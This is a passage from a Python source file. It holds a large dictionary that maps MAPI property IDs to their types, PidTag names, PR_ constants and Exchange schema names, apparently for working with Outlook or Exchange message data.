\"PR_ATTACH_PAYLOAD_PROV_GUID_STR\", \"AttachmentPayloadProviderGuidString\"),\n        0x3709: (0x0102, None, None, 4, \"PidTagAttachRendering\", \"PR_ATTACH_RENDERING\", \"AttachRendering\"),\n        0x0e20: (0x0003, None, None, 4, \"PidTagAttachSize\", \"PR_ATTACH_SIZE\", \"AttachSize\"),\n        0x370a: (0x0102, None, None, 4, \"PidTagAttachTag\", \"PR_ATTACH_TAG\", \"AttachTag\"),\n        0x370c: (0x001f, None, None, 4, \"PidTagAttachTransportName\", \"PR_ATTACH_TRANSPORT_NAME\", \"AttachTransportName\"),\n        0x10f4: (0x000b, None, None, 4, \"PidTagAttributeHidden\", \"PR_ATTR_HIDDEN\", \"AttrHidden\"),\n        0x10f6: (0x000b, None, None, 4, \"PidTagAttributeReadOnly\", \"PR_ATTR_READONLY\", \"AttrReadOnly\"),\n        0x3fdf: (0x0003, None, None, 4, \"PidTagAutoResponseSuppress\", \"PR_AUTO_RESPONSE_SUPPRESS\", \"AutoResponseSuppress\"),\n        0x3a42: (0x0040, None, None, 4, \"PidTagBirthday\", \"PR_BIRTHDAY\", \"Birthday\"),\n        0x1096: (0x0003, None, None, 4, \"PidTagBlockStatus\", \"PR_BLOCK_STATUS\", \"BlockStatus\"),\n        0x1015: (0x001f, None, None, 4, \"PidTagBodyContentId\", \"PR_BODY_CONTENT_ID\", \"BodyContentId\"),\n        0x1014: (0x001f, None, None, 4, \"PidTagBodyContentLocation\", \"PR_BODY_CONTENT_LOCATION\", \"BodyContentLocation\"),\n        0x1013: (0x0102, None, None, 4, \"PidTagHtml\", \"PR_HTML\", \"BodyHtml\"),\n        0x3a24: (0x001f, None, None, 4, \"PidTagBusinessFaxNumber\", \"PR_BUSINESS_FAX_NUMBER\", \"BusinessFaxNumber\"),\n        0x3a51: (0x001f, None, None, 4, \"PidTagBusinessHomePage\", \"PR_BUSINESS_HOME_PAGE\", \"BusinessHomePage\"),\n        0x3a02: (0x001f, None, None, 4, \"PidTagCallbackTelephoneNumber\", \"PR_CALLBACK_TELEPHONE_NUMBER\", \"CallbackTelephoneNumber\"),\n        0x6806: (0x001f, None, None, 4, \"PidTagCallId\", \"InternalSchemaCallID\", \"MailboxMiscFlags\"),\n        0x3a1e: (0x001f, None, None, 4, \"PidTagCarTelephoneNumber\", \"PR_CAR_TELEPHONE_NUMBER\", \"CarTelephoneNumber\"),\n        0x10c5: (0x0040, None, None, 4, \"PidTagCdoRecurrenceid\", \"PR_CDO_RECURRENCEID\", None),\n        0x65e2: (0x0102, None, None, 4, \"PidTagChangeKey\", \"PR_CHANGE_KEY\", \"ChangeKey\"),\n        0x67a4: (0x0014, None, None, 4, \"PidTagChangeNumber\", \"ptagCn\", \"Cn\"),\n        0x3a58: (0x101f, None, None, 4, \"PidTagChildrensNames\", \"PR_CHILDRENS_NAMES\", \"ChildrensNames\"),\n        0x6645: (0x0102, None, None, 4, \"PidTagClientActions\", \"PR_CLIENT_ACTIONS\", \"PromotedProperties\"),\n        0x0039: (0x0040, None, None, 4, \"PidTagClientSubmitTime\", \"PR_CLIENT_SUBMIT_TIME\", \"ClientSubmitTime\"),\n        0x66c3: (0x0003, None, None, 4, \"PidTagCodePageId\", \"PR_CODE_PAGE_ID\", \"CodePageId\"),\n        0x3a57: (0x001f, None, None, 4, \"PidTagCompanyMainTelephoneNumber\", \"PR_COMPANY_MAIN_PHONE_NUMBER\", \"CompanyMainPhoneNumber\"),\n        0x3a49: (0x001f, None, None, 4, \"PidTagComputerNetworkName\", \"PR_COMPUTER_NETWORK_NAME\", \"ComputerNetworkName\"),\n        0x3ff0: (0x0102, None, None, 4, \"PidTagConflictEntryId\", \"PR_CONFLICT_ENTRYID\", \"BackfillTimeout\"),\n        0x3613: (0x001f, None, None, 4, \"PidTagContainerClass\", \"PR_CONTAINER_CLASS\", \"ContainerClass\"),\n        0x360f: (0x000d, None, None, 4, \"PidTagContainerContents\", \"PR_CONTAINER_CONTENTS\", \"ContainerContents\"),\n        0x3600: (0x0003, None, None, 4, \"PidTagContainerFlags\", \"PR_CONTAINER_FLAGS\", \"ContainerFlags\"),\n        0x360e: (0x000d, None, None, 4, \"PidTagContainerHierarchy\", \"PR_CONTAINER_HIERARCHY\", \"ContainerHierarchy\"),\n        0x3602: (0x0003, None, None, 4, \"PidTagContentCount\", \"PR_CONTENT_COUNT\", \"ContentCount\"),\n        0x4076: (0x0003, None, None, 4, \"PidTagContentFilterSpamConfidenceLevel\", \"PR_CONTENT_FILTER_SCL\", \"SpamConfidenceLevel\"),\n        0x3603: (0x0003, None, None, 4, \"PidTagContentUnreadCount\", \"PR_CONTENT_UNREAD\", \"ContentUnread\"),\n        0x3013: (0x0102, None, None, 4, \"PidTagConversationId\", \"PR_CONVERSATION_ID\", \"ConversationId\"),\n        0x0071: (0x0102, None, None, 4, \"PidTagConversationIndex\", \"PR_CONVERSATION_INDEX\", \"ConversationIndex\"),\n        0x3016: (0x000b, None, None, 4, \"PidTagConversationIndexTracking\", \"PR_CONVERSATION_INDEX_TRACKING\", \"ConversationIndexTracking\"),\n        0x0070: (0x001f, None, None, 4, \"PidTagConversationTopic\", \"PR_CONVERSATION_TOPIC\", \"ConversationTopic\"),\n        0x3ff9: (0x0102, None, None, 4, \"PidTagCreatorEntryId\", \"PR_CREATOR_ENTRYID\", \"CreatorEntryId\"),\n        0x3ff8: (0x001f, None, None, 4, \"PidTagCreatorName\", \"PR_CREATOR_NAME\", \"CreatorName\"),\n        0x3a4a: (0x001f, None, None, 4, \"PidTagCustomerId\", \"PR_CUSTOMER_ID\", \"CustomerId\"),\n        0x6647: (0x000b, None, None, 4, \"PidTagDamBackPatched\", \"PR_DAM_BACK_PATCHED\", \"DeferredActionMessageBackPatched\"),\n        0x6646: (0x0102, None, None, 4, \"PidTagDamOriginalEntryId\", \"PR_DAM_ORIGINAL_ENTRYID\", \"HiddenPromotedProperties\"),\n        0x36e5: (0x001f, None, None, 4, \"PidTagDefaultPostMessageClass\", \"PR_DEF_POST_MSGCLASS\", \"DefaultPostMsgClass\"),\n        0x6741: (0x00fb, None, None, 4, \"PidTagDeferredActionMessageOriginalEntryId\", \"PR_DAM_ORIG_MSG_SVREID\", \"OriginalMessageSvrEId\"),\n        0x3feb: (0x0003, None, None, 4, \"PidTagDeferredSendNumber\", \"PR_DEFERRED_SEND_NUMBER\", \"DeferredSendNumber\"),\n        0x3fef: (0x0040, None, None, 4, \"PidTagDeferredSendTime\", \"PR_DEFERRED_SEND_TIME\", \"DeferredSendTime\"),\n        0x3fec: (0x0003, None, None, 4, \"PidTagDeferredSendUnits\", \"PR_DEFERRED_SEND_UNITS\", \"DeferredSendUnits\"),\n        0x3fe3: (0x000b, None, None, 4, \"PidTagDelegatedByRule\", \"PR_DELEGATED_BY_RULE\", \"OofHistory\"),\n        0x686b: (0x1003, None, None, 4, \"PidTagDelegateFlags\", \"PR_DELEGATE_FLAGS\", \"DelegateFlags\"),\n        0x0e01: (0x000b, None, None, 4, \"PidTagDeleteAfterSubmit\", \"PR_DELETE_AFTER_SUBMIT\", \"DeleteAfterSubmit\"),\n        0x670b: (0x0003, None, None, 4, \"PidTagDeletedCountTotal\", \"PR_DELETED_COUNT_TOTAL\", \"DeletedCountTotal\"),\n        0x668f: (0x0040, None, None, 4, \"PidTagDeletedOn\", \"PR_DELETED_ON\", \"DeletedOn\"),\n        0x3005: (0x0003, None, None, 4, \"PidTagDepth\", \"PR_DEPTH\", \"Depth\"),\n        0x0e02: (0x001f, None, None, 4, \"PidTagDisplayBcc\", \"PR_DISPLAY_BCC\", \"DisplayBcc\"),\n        0x0e03: (0x001f, None, None, 4, \"PidTagDisplayCc\", \"PR_DISPLAY_CC\", \"DisplayCc\"),\n        0x3001: (0x001f, None, None, 4, \"PidTagDisplayName\", \"PR_DISPLAY_NAME\", \"DisplayName\"),\n        0x3a45: (0x001f, None, None, 4, \"PidTagDisplayNamePrefix\", \"PR_DISPLAY_NAME_PREFIX\", \"DisplayNamePrefix\"),\n        0x0e04: (0x001f, None, None, 4, \"PidTagDisplayTo\", \"PR_DISPLAY_TO\", \"DisplayTo\"),\n        0x3900: (0x0003, None, None, 4, \"PidTagDisplayType\", \"PR_DISPLAY_TYPE\", \"DisplayType\"),\n        0x3003: (0x001f, None, None, 4, \"PidTagEmailAddress\", \"PR_EMAIL_ADDRESS\", \"EmailAddress\"),\n        0x0061: (0x0040, None, None, 4, \"PidTagEndDate\", \"PR_END_DATE\", \"EndDate\"),\n        0x0fff: (0x0102, None, None, 4, \"PidTagEntryId\", \"PR_ENTRYID\", \"EntryId\"),\n        0x7ffc: (0x0040, None, None, 4, \"PidTagExceptionEndTime\", \"PR_EXCEPTION_ENDTIME\", \"AppointmentExceptionEndTime\"),\n        0x7ff9: (0x0040, None, None, 4, \"PidTagExceptionReplaceTime\", \"PR_EXCEPTION_REPLACETIME\", \"SExceptionReplaceTime\"),\n        0x7ffb: (0x0040, None, None, 4, \"PidTagExceptionStartTime\", \"PR_EXCEPTION_STARTTIME\", \"AppointmentExceptionStartTime\"),\n        0x0e84: (0x0102, None, None, 4, \"PidTagExchangeNTSecurityDescriptor\", \"http://schemas.microsoft.com/exchange/ntsecuritydescriptor\", None),\n        0x3fed: (0x0003, None, None, 4, \"PidTagExpiryNumber\", \"PR_EXPIRY_NUMBER\", \"ExpiryNumber\"),\n        0x3fee: (0x0003, None, None, 4, \"PidTagExpiryUnits\", \"PR_EXPIRY_UNITS\", \"ExpiryUnits\"),\n        0x36da: (0x0102, None, None, 4, \"PidTagExtendedFolderFlags\", \"PR_EXTENDED_FOLDER_FLAGS\", \"ExtendedFolderFlags\"),\n        0x0e99: (0x0102, None, None, 4, \"PidTagExtendedRuleMessageActions\", \"PR_EXTENDED_RULE_MSG_ACTIONS\", \"ExtendedRuleActions\"),\n        0x0e9a: (0x0102, None, None, 4, \"PidTagExtendedRuleMessageCondition\", \"PR_EXTENDED_RULE_MSG_CONDITION\", \"ExtendedRuleCondition\"),\n        0x0e9b: (0x0003, None, None, 4, \"PidTagExtendedRuleSizeLimit\", \"PR_EXTENDED_RULE_SIZE_LIMIT\", \"ExtendedRuleSizeLimit\"),\n        0x6804: (0x001e, None, None, 4, \"PidTagOfflineAddressBookDistinguishedName\", \"PR_OAB_DN\", \"ShutoffQuota\"),\n        0x1091: (0x0040, None, None, 4, \"PidTagFlagCompleteTime\", \"PR_FLAG_COMPLETE_TIME\", \"FlagCompleteTime\"),\n        0x1090: (0x0003, None, None, 4, \"PidTagFlagStatus\", \"PR_FLAG_STATUS\", \"FlagStatus\"),\n        0x670e: (0x001f, None, None, 4, \"PidTagFlatUrlName\", \"PR_FLAT_URL_NAME\", None),\n        0x3610: (0x000d, None, None, 4, \"PidTagFolderAssociatedContents\", \"PR_FOLDER_ASSOCIATED_CONTENTS\", \"FolderAssociatedContents\"),\n        0x6748: (0x0014, None, None, 4, \"PidTagFolderId\", \"ptagFID\", \"Fid\"),\n        0x66a8: (0x0003, None, None, 4, \"PidTagFolderFlags\", \"PR_FOLDER_FLAGS\", \"FolderFlags\"),\n        0x3601: (0x0003, None, None, 4, \"PidTagFolderType\", \"PR_FOLDER_TYPE\", \"FolderType\"),\n        0x1095: (0x0003, None, None, 4, \"PidTagFollowupIcon\", \"PR_FOLLOWUP_ICON\", \"FollowupIcon\"),\n        0x6869: (0x0003, None, None, 4, \"PidTagFreeBusyCountMonths\", \"PR_FREEBUSY_COUNT_MONTHS\", \"OutlookFreeBusyMonthCount\"),\n        0x36e4: (0x1102, None, None, 4, \"PidTagFreeBusyEntryIds\", \"PR_FREEBUSY_ENTRYIDS\", \"FreeBusyEntryIds\"),\n        0x6849: (0x0003, None, None, 4, \"PidTagWlinkType\", None, \"ScheduleInfoRecipientLegacyDn\"),\n        0x6848: (0x0003, None, None, 4, \"PidTagSearchFolderEfpFlags\", \"PR_WB_SF_EFP_FLAGS\", \"AssociatedSearchFolderFlags\"),\n        0x6847: (0x0003, None, None, 4, \"PidTagWlinkSaveStamp\", None, \"AssociatedSearchFolderTag\"),\n        0x6868: (0x0040, None, None, 4, \"PidTagFreeBusyRangeTimestamp\", \"PR_FREEBUSY_RANGE_TIMESTAMP\", None),\n        0x3a4c: (0x001f, None, None, 4, \"PidTagFtpSite\", \"PR_FTP_SITE\", \"FtpSite\"),\n        0x6846: (0x0003, None, None, 4, \"PidTagSearchFolderStorageType\", \"PR_WB_SF_STORAGE_TYPE\", \"AssociatedSearchFolderStorageType\"),\n        0x3a4d: (0x0002, None, None, 4, \"PidTagGender\", \"PR_GENDER\", \"Gender\"),\n        0x3a05: (0x001f, None, None, 4, \"PidTagGeneration\", \"PR_GENERATION\", \"Generation\"),\n        0x3a07: (0x001f, None, None, 4, \"PidTagGovernmentIdNumber\", \"PR_GOVERNMENT_ID_NUMBER\", \"GovernmentIdNumber\"),\n        0x0e1b: (0x000b, None, None, 4, \"PidTagHasAttachments\", \"PR_HASATTACH\", \"Hasattach\"),\n        0x3fea: (0x000b, None, None, 4, \"PidTagHasDeferredActionMessages\", \"PR_HAS_DAMS\", \"HasDeferredActionMessage\"),\n        0x664a: (0x000b, None, None, 4, \"PidTagHasNamedProperties\", \"PR_HAS_NAMED_PROPERTIES\", \"HasNamedProperties\"),\n        0x663a: (0x000b, None, None, 4, \"PidTagHasRules\", \"PR_HAS_RULES\", \"HasRules\"),\n        0x663e: (0x0003, None, None, 4, \"PidTagHierarchyChangeNumber\", \"PR_HIERARCHY_CHANGE_NUM\", \"HierarchyChangeNumber\"),\n        0x4082: (0x0040, None, None, 4, \"PidTagHierRev\", \"PR_HIER_REV\", \"HierRev\"),\n        0x3a43: (0x001f, None, None, 4, \"PidTagHobbies\", \"PR_HOBBIES\", \"Hobbies\"),\n        0x3a59: (0x001f, None, None, 4, \"PidTagHomeAddressCity\", \"PR_HOME_ADDRESS_CITY\", \"HomeAddressCity\"),\n        0x3a5a: (0x001f, None, None, 4, \"PidTagHomeAddressCountry\", \"PR_HOME_ADDRESS_COUNTRY\", \"HomeAddressCountry\"),\n        0x3a5b: (0x001f, None, None, 4, \"PidTagHomeAddressPostalCode\", \"PR_HOME_ADDRESS_POSTAL_CODE\", \"HomeAddressPostalCode\"),\n        0x3a5e: (0x001f, None, None, 4, \"PidTagHomeAddressPostOfficeBox\", \"PR_HOME_ADDRESS_POST_OFFICE_BOX\", \"HomeAddressPostOfficeBox\"),\n        0x3a5c: (0x001f, None, None, 4, \"PidTagHomeAddressStateOrProvince\", \"PR_HOME_ADDRESS_STATE_OR_PROVINCE\", \"HomeAddressStateOrProvince\"),\n        0x3a25: (0x001f, None, None, 4, \"PidTagHomeFaxNumber\", \"PR_HOME_FAX_NUMBER\", \"HomeFaxNumber\"),\n        0x10c4: (0x0040, None, None, 4, \"PidTagICalendarEndTime\", \"urn:schemas:calendar:dtend\", None),\n        0x10ca: (0x0040, None, None, 4, \"PidTagICalendarReminderNextTime\", \"urn:schemas:calendar:remindernexttime\", None),\n        0x10c3: (0x0040, None, None, 4, \"PidTagICalendarStartTime\", \"urn:schemas:calendar:dtstart\", None),\n        0x1080: (0x0003, None, None, 4, \"PidTagIconIndex\", \"PR_ICON_INDEX\", \"IconIndex\"),\n        0x666c: (0x000b, None, None, 4, \"PidTagInConflict\", \"PR_IN_CONFLICT\", \"AttachmentInConflict\"),\n        0x3f08: (0x0003, None, None, 4, \"PidTagInitialDetailsPane\", \"PR_INITIAL_DETAILS_PANE\", \"InitialDetailsPane\"),\n        0x1042: (0x001f, None, None, 4, \"PidTagInReplyToId\", \"PR_IN_REPLY_TO_ID\", \"InReplyTo\"),\n        0x0ff6: (0x0102, None, None, 4, \"PidTagInstanceKey\", \"PR_INSTANCE_KEY\", \"InstanceKey\"),\n        0x674e: (0x0003, None, None, 4, \"PidTagInstanceNum\", \"ptagInstanceNum\", \"InstanceNum\"),\n        0x674d: (0x0014, None, None, 4, \"PidTagInstID\", \"ptagInstID\", \"InstanceId\"),\n        0x3fde: (0x0003, None, None, 4, \"PidTagInternetCodepage\", \"PR_INTERNET_CPID\", \"InternetCPID\"),\n        0x5902: (0x0003, None, None, 4, \"PidTagInternetMailOverrideFormat\", \"PR_INETMAIL_OVERRIDE_FORMAT\", \"INetMailOverrideFormat\"),\n        0x1035: (0x001f, None, None, 4, \"PidTagInternetMessageId\", \"PR_INTERNET_MESSAGE_ID\", \"InternetMessageId\"),\n        0x1039: (0x001f, None, None, 4, \"PidTagInternetReferences\", \"PR_INTERNET_REFERENCES\", \"InternetReferences\"),\n        0x36d0: (0x0102, None, None, 4, \"PidTagIpmAppointmentEntryId\", \"PR_IPM_APPOINTMENT_ENTRYID\", \"CalendarFolderEntryId\"),\n        0x36d1: (0x0102, None, None, 4, \"PidTagIpmContactEntryId\", \"PR_IPM_CONTACT_ENTRYID\", \"ContactsFolderEntryId\"),\n        0x36d7: (0x0102, None, None, 4, \"PidTagIpmDraftsEntryId\", \"PR_IPM_DRAFTS_ENTRYID\", \"DraftsFolderEntryId\"),\n        0x36d2: (0x0102, None, None, 4, \"PidTagIpmJournalEntryId\", \"PR_IPM_JOURNAL_ENTRYID\", \"JournalFolderEntryId\"),\n        0x36d3: (0x0102, None, None, 4, \"PidTagIpmNoteEntryId\", \"PR_IPM_NOTE_ENTRYID\", \"NotesFolderEntryId\"),\n        0x36d4: (0x0102, None, None, 4, \"PidTagIpmTaskEntryId\", \"PR_IPM_TASK_ENTRYID\", \"TasksFolderEntryId\"),\n        0x3a2d: (0x001f, None, None, 4, \"PidTagIsdnNumber\", \"PR_ISDN_NUMBER\", \"IsdnNumber\"),\n        0x6103: (0x0003, None, None, 4, \"PidTagJunkAddRecipientsToSafeSendersList\", \"PR_JUNK_ADD_RECIPS_TO_SSL\", None),\n        0x6100: (0x0003, None, None, 4, \"PidTagJunkIncludeContacts\", \"PR_JUNK_INCLUDE_CONTACTS\", \"JunkIncludeContacts\"),\n        0x6102: (0x0003, None, None, 4, \"PidTagJunkPermanentlyDelete\", \"PR_JUNK_PERMANENTLY_DELETE\", None),\n        0x6107: (0x000b, None, None, 4, \"PidTagJunkPhishingEnableLinks\", \"PR_JUNK_PHISHING_ENABLE_LINKS\", None),\n        0x6101: (0x0003, None, None, 4, \"PidTagJunkThreshold\", \"PR_JUNK_THRESHOLD\", \"JunkThreshold\"),\n        0x3a0b: (0x001f, None, None, 4, \"PidTagKeyword\", \"PR_KEYWORD\", \"Keyword\"),\n        0x3a0c: (0x001f, None, None, 4, \"PidTagLanguage\", \"PR_LANGUAGE\", \"Language\"),\n        0x3ffb: (0x0102, None, None, 4, \"PidTagLastModifierEntryId\", \"PR_LAST_MODIFIER_ENTRYID\", \"LastModifierEntryId\"),\n        0x3ffa: (0x001f, None, None, 4, \"PidTagLastModifierName\", \"PR_LAST_MODIFIER_NAME\", \"LastModifierName\"),\n        0x1081: (0x0003, None, None, 4, \"PidTagLastVerbExecuted\", \"PR_LAST_VERB_EXECUTED\", \"LastVerbExecuted\"),\n        0x1082: (0x0040, None, None, 4, \"PidTagLastVerbExecutionTime\", \"PR_LAST_VERB_EXECUTION_TIME\", \"LastVerbExecutionTime\"),\n        0x1043: (0x001f, None, None, 4, \"PidTagListHelp\", \"PR_LIST_HELP\", \"ListHelp\"),\n        0x1044: (0x001f, None, None, 4, \"PidTagListSubscribe\", \"PR_LIST_SUBSCRIBE\", \"ListSubscribe\"),\n        0x1045: (0x001f, None, None, 4, \"PidTagListUnsubscribe\", \"PR_LIST_UNSUBSCRIBE\", \"ListUnsubscribe\"),\n        0x6709: (0x0040, None, None, 4, \"PidTagLocalCommitTime\", \"PR_LOCAL_COMMIT_TIME\", \"LocalCommitTime\"),\n        0x670a: (0x0040, None, None, 4, \"PidTagLocalCommitTimeMax\", \"PR_LOCAL_COMMIT_TIME_MAX\", \"LocalCommitTimeMax\"),\n        0x66a1: (0x0003, None, None, 4, \"PidTagLocaleId\", \"PR_LOCALE_ID\", \"LocaleId\"),\n        0x3a0d: (0x001f, None, None, 4, \"PidTagLocation\", \"PR_LOCATION\", \"Location\"),\n        0x661b: (0x0102, None, None, 4, \"PidTagMailboxOwnerEntryId\", \"PR_MAILBOX_OWNER_ENTRYID\", \"InternetRFC821From\"),\n        0x661c: (0x001f, None, None, 4, \"PidTagMailboxOwnerName\", \"PR_MAILBOX_OWNER_NAME\", \"MailboxOwnerName\"),\n        0x3a4e: (0x001f, None, None, 4, \"PidTagManagerName\", \"PR_MANAGER_NAME\", \"ManagerName\"),\n        0x0ff8: (0x0102, None, None, 4, \"PidTagMappingSignature\", \"PR_MAPPING_SIGNATURE\", \"MappingSignature\"),\n        0x666d: (0x0003, None, None, 4, \"PidTagMaximumSubmitMessageSize\", \"PR_MAX_SUBMIT_MESSAGE_SIZE\", \"SearchAttachments\"),\n        0x6671: (0x0014, None, None, 4, \"PidTagMemberId\", \"PR_MEMBER_ID\", \"MemberId\"),\n        0x6672: (0x001f, None, None, 4, \"PidTagMemberName\", \"PR_MEMBER_NAME\", \"MemberName\"),\n        0x6673: (0x0003, None, None, 4, \"PidTagMemberRights\", \"PR_MEMBER_RIGHTS\", \"MemberRights\"),\n        0x0e13: (0x000d, None, None, 4, \"PidTagMessageAttachments\", \"PR_MESSAGE_ATTACHMENTS\", \"MessageAttachments\"),\n        0x0058: (0x000b, None, None, 4, \"PidTagMessageCcMe\", \"PR_MESSAGE_CC_ME\", \"MessageCcMe\"),\n        0x3ffd: (0x0003, None, None, 4, \"PidTagMessageCodepage\", \"PR_MESSAGE_CODEPAGE\", \"MessageCodePage\"),\n        0x0e06: (0x0040, None, None, 4, \"PidTagMessageDeliveryTime\", \"PR_MESSAGE_DELIVERY_TIME\", \"MessageDeliveryTime\"),\n        0x5909: (0x0003, None, None, 4, \"PidTagMessageEditorFormat\", \"PR_MSG_EDITOR_FORMAT\", \"MessageEditorFormat\"),\n        0x0e07: (0x0003, None, None, 4, \"PidTagMessageFlags\", \"PR_MESSAGE_FLAGS\", \"MessageFlags\"),\n        0x3ff1: (0x0003, None, None, 4, \"PidTagMessageLocaleId\", \"PR_MESSAGE_LOCALE_ID\", \"MessageLocaleId\"),\n        0x0059: (0x000b, None, None, 4, \"PidTagMessageRecipientMe\", \"PR_MESSAGE_RECIP_ME\", \"MessageRecipMe\"),\n        0x0e12: (0x000d, None, None, 4, \"PidTagMessageRecipients\", \"PR_MESSAGE_RECIPIENTS\", \"MessageRecipients\"),\n        0x0e08: (0x0014, None, None, 4, \"PidTagMessageSizeExtended\", \"PR_MESSAGE_SIZE_EXTENDED\", \"MessageSize\"),\n        0x0e17: (0x0003, None, None, 4, \"PidTagMessageStatus\", \"PR_MSG_STATUS\", \"MsgStatus\"),\n        0x0047: (0x0102, None, None, 4, \"PidTagMessageSubmissionId\", \"PR_MESSAGE_SUBMISSION_ID\", \"MessageSubmissionId\"),\n        0x0057: (0x000b, None, None, 4, \"PidTagMessageToMe\", \"PR_MESSAGE_TO_ME\", \"MessageToMe\"),\n        0x674a: (0x0014, None, None, 4, \"PidTagMid\", \"ptagMID\", \"Mid\"),\n        0x3a44: (0x001f, None, None, 4, \"PidTagMiddleName\", \"PR_MIDDLE_NAME\", \"MiddleName\"),\n        0x64f0: (0x0102, None, None, 4, \"PidTagMimeSkeleton\", \"ptagMimeSkeleton\", \"MimeSkeleton\"),\n        0x1016: (0x0003, None, None, 4, \"PidTagNativeBody\", \"PR_NATIVE_BODY_INFO\", \"NativeBodyInfo\"),\n        0x0e29: (0x001f, None, None, 4, \"PidTagNextSendAcct\", \"PR_NEXT_SEND_ACCT\", \"NextSendAccount\"),\n        0x3a4f: (0x001f, None, None, 4, \"PidTagNickname\", \"PR_NICKNAME\", \"Nickname\"),\n        0x0c05: (0x0003, None, None, 4, \"PidTagNonDeliveryReportDiagCode\", \"PR_NDR_DIAG_CODE\", \"NdrDiagCode\"),\n        0x0c04: (0x0003, None, None, 4, \"PidTagNonDeliveryReportReasonCode\", \"PR_NDR_REASON_CODE\", \"NdrReasonCode\"),\n        0x0c20: (0x0003, None, None, 4, \"PidTagNonDeliveryReportStatusCode\", \"PR_NDR_STATUS_CODE\", \"NDRStatusCode\"),\n        0x0c06: (0x000b, None, None, 4, \"PidTagNonReceiptNotificationRequested\", \"PR_NON_RECEIPT_NOTIFICATION_REQUESTED\", \"NonReceiptNotificationRequested\"),\n        0x0e1d: (0x001f, None, None, 4, \"PidTagNormalizedSubject\", \"PR_NORMALIZED_SUBJECT\", \"NormalizedSubject\"),\n        0x0ffe: (0x0003, None, None, 4, \"PidTagObjectType\", \"PR_OBJECT_TYPE\", \"ObjectType\"),\n        0x6802: (0x001f, None, None, 4, \"PidTagSenderTelephoneNumber\", \"InternalSchemaSenderTelephoneNumber\", \"SenderTelephoneNumber\"),\n        0x6803: (0x001f, None, None, 4, \"PidTagVoiceMessageSenderName\", \"InternalSchemaVoiceMessageSenderName\", \"SendOutlookRecallReport\"),\n        0x6800: (0x001f, None, None, 4, \"PidTagOfflineAddressBookName\", \"PR_OAB_NAME\", None),\n        0x6801: (0x0003, None, None, 4, \"PidTagVoiceMessageDuration\", \"InternalSchemaVoiceMessageDuration\", \"VoiceMessageDuration\"),\n        0x6805: (0x001f, None, None, 4, \"PidTagVoiceMessageAttachmentOrder\", \"InternalSchemaVoiceMessageAttachmentOrder\", \"VoiceMessageAttachmentOrder\"),\n        0x36e2: (0x0003, None, None, 4, \"PidTagOrdinalMost\", \"PR_ORDINAL_MOST\", None),\n        0x3a10: (0x001f, None, None, 4, \"PidTagOrganizationalIdNumber\", \"PR_ORGANIZATIONAL_ID_NUMBER\", \"OrganizationalIdNumber\"),\n        0x004c: (0x0102, None, None, 4, \"PidTagOriginalAuthorEntryId\", \"PR_ORIGINAL_AUTHOR_ENTRYID\", \"OriginalAuthorEntryId\"),\n        0x004d: (0x001f, None, None, 4, \"PidTagOriginalAuthorName\", \"PR_ORIGINAL_AUTHOR_NAME_W\", \"OriginalAuthorName\"),\n        0x0055: (0x0040, None, None, 4, \"PidTagOriginalDeliveryTime\", \"PR_ORIGINAL_DELIVERY_TIME\", \"OriginalDeliveryTime\"),\n        0x0072: (0x001f, None, None, 4, \"PidTagOriginalDisplayBcc\", \"PR_ORIGINAL_DISPLAY_BCC\", \"OriginalDisplayBcc\"),\n        0x0073: (0x001f, None, None, 4, \"PidTagOriginalDisplayCc\", \"PR_ORIGINAL_DISPLAY_CC\", \"OriginalDisplayCc\"),\n        0x0074: (0x001f, None, None, 4, \"PidTagOriginalDisplayTo\", \"PR_ORIGINAL_DISPLAY_TO\", \"OriginalDisplayTo\"),\n        0x3a12: (0x0102, None, None, 4, \"PidTagOriginalEntryId\", \"PR_ORIGINAL_ENTRYID\", \"OriginalEntryId\"),\n        0x004b: (0x001f, None, None, 4, \"PidTagOriginalMessageClass\", \"PR_ORIG_MESSAGE_CLASS\", \"OrigMessageClass\"),\n        0x1046: (0x001f, None, None, 4, \"PidTagOriginalMessageId\", \"ptagOriginalInternetMessageID\", \"OriginalInternetMessageId\"),\n        0x0066: (0x001f, None, None, 4, \"PidTagOriginalSenderAddressType\", \"PR_ORIGINAL_SENDER_ADDRTYPE\", \"OriginalSenderAddrType\"),\n        0x0067: (0x001f, None, None, 4, \"PidTagOriginalSenderEmailAddress\", \"PR_ORIGINAL_SENDER_EMAIL_ADDRESS\", \"OriginalSenderEmailAddress\"),\n        0x005b: (0x0102, None, None, 4, \"PidTagOriginalSenderEntryId\", \"PR_ORIGINAL_SENDER_ENTRYID\", \"OriginalSenderEntryId\"),\n        0x005a: (0x001f, None, None, 4, \"PidTagOriginalSenderName\", \"PR_ORIGINAL_SENDER_NAME\", \"OriginalSenderName\"),\n        0x005c: (0x0102, None, None, 4, \"PidTagOriginalSenderSearchKey\", \"PR_ORIGINAL_SENDER_SEARCH_KEY\", \"OriginalSenderSearchKey\"),\n        0x002e: (0x0003, None, None, 4, \"PidTagOriginalSensitivity\", \"PR_ORIGINAL_SENSITIVITY\", \"OriginalSensitivity\"),\n        0x0068: (0x001f, None, None, 4, \"PidTagOriginalSentRepresentingAddressType\", \"PR_ORIGINAL_SENT_REPRESENTING_ADDRTYPE\", \"OriginalSentRepresentingAddrType\"),\n        0x0069: (0x001f, None, None, 4, \"PidTagOriginalSentRepresentingEmailAddress\", \"PR_ORIGINAL_SENT_REPRESENTING_EMAIL_ADDRESS\", \"OriginalSentRepresentingEmailAddress\"),\n        0x005e: (0x0102, None, None, 4, \"PidTagOriginalSentRepresentingEntryId\", \"PR_ORIGINAL_SENT_REPRESENTING_ENTRYID\", \"OriginalSentRepresentingEntryId\"),\n        0x005d: (0x001f, None, None, 4, \"PidTagOriginalSentRepresentingName\", \"PR_ORIGINAL_SENT_REPRESENTING_NAME\", \"OriginalSentRepresentingName\"),\n        0x005f: (0x0102, None, None, 4, \"PidTagOriginalSentRepresentingSearchKey\", \"PR_ORIGINAL_SENT_REPRESENTING_SEARCH_KEY\", \"OriginalSentRepresentingSearchKey\"),\n        0x0049: (0x001f, None, None, 4, \"PidTagOriginalSubject\", \"PR_ORIGINAL_SUBJECT\", \"OriginalSubject\"),\n        0x004e: (0x0040, None, None, 4, \"PidTagOriginalSubmitTime\", \"PR_ORIGINAL_SUBMIT_TIME\", \"OriginalSubmitTime\"),\n        0x0c08: (0x000b, None, None, 4, \"PidTagOriginatorNonDeliveryReportRequested\", \"PR_ORIGINATOR_NON_DELIVERY_REPORT_REQUESTED\", \"OriginatorNonDeliveryReportRequested\"),\n        0x7c24: (0x000b, None, None, 4, \"PidTagOscSyncEnabled\", \"PR_OSC_SYNC_ENABLEDONSERVER\", \"OscSyncEnabledOnServer\"),\n        0x3a5f: (0x001f, None, None, 4, \"PidTagOtherAddressCity\", 